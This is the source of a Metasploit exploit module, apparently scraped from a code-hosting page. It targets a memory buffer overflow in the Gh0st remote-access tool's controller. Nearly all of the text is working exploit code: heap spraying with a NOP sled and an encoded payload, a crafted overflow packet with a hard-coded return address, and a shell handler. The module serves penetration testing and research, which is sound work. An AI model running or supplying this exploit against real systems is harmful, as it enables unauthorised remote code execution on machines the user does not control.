Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/gh0st.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = NormalRanking9include Msf::Exploit::Remote::Tcp1011def initialize(info = {})12super(update_info(info,13'Name' => 'Gh0st Client buffer Overflow',14'Description' => %q{15This module exploits a Memory buffer overflow in the Gh0st client (C2 server)16},17'Author' => 'Professor Plum',18'License' => MSF_LICENSE,19'References' =>20[21],22'DefaultOptions' =>23{24'EXITFUNC' => 'thread',25'AllowWin32SEH' => true26},27'Payload' =>28{29'Space' => 1000,30'BadChars' => '',31'EncoderType' => Msf::Encoder::Type::AlphanumMixed32},33'Platform' => 'win',34'DisclosureDate' => '2017-07-27',35'Targets' =>36[37['Gh0st Beta 3.6', { 'Ret' => 0x06001010 }]38],39'Privileged' => false,40'DefaultTarget' => 0))4142register_options(43[44OptString.new('MAGIC', [true, 'The 5 char magic used by the server', 'Gh0st']),45Opt::RPORT(80)46]47)48end4950def make_packet(id, data)51msg = id.chr + data52compressed = Zlib::Deflate.deflate(msg)53datastore['MAGIC'] + [13 + compressed.size].pack('V') + [msg.size].pack('V') + compressed54end5556def validate_response(data)57if data.nil?58print_status('Server closed connection')59return false60end61if data.empty?62print_status('No response received')63return false64end65if data.size < 1366print_status('Invalid packet')67print_status(data)68return false69end70mag, pktlen, msglen = data[0..13].unpack('a' + datastore['MAGIC'].size.to_s + 'VV')71if mag.index(datastore['MAGIC']) != 072print_status('Bad magic: ' + mag[0..datastore['MAGIC'].size])73return false74end75if pktlen != data.size76print_status('Packet size mismatch')77return false78end79msg = Zlib::Inflate.inflate(data[13..data.size])80if msg.size != msglen81print_status('Packet decompress failure')82return false83end84return true85end8687def check88connect89sock.put(make_packet(101, "\x00")) # heartbeat90if validate_response(sock.get_once || '')91return Exploit::CheckCode::Appears92end93Exploit::CheckCode::Safe94end9596def exploit97print_status("Trying target #{target.name}")98print_status('Spraying heap...')99for i in 0..100100connect101sock.put(make_packet(101, "\x90" * 3 + "\x90\x83\xc0\x05" * 1024 * 1024 + payload.encoded))102if not validate_response(sock.get_once)103disconnect104return105end106end107108for i in 103..107109print_status("Trying command #{i}...")110begin111connect112sploit = make_packet(i, "\0" * 1064 + [target['Ret'] - 0xA0].pack('V') + 'a' * 28)113sock.put(sploit)114if validate_response(sock.get_once)115next116end117sleep(0.1)118break119rescue EOFError120print_status('Invalid')121end122end123handler124disconnect125end126end127128129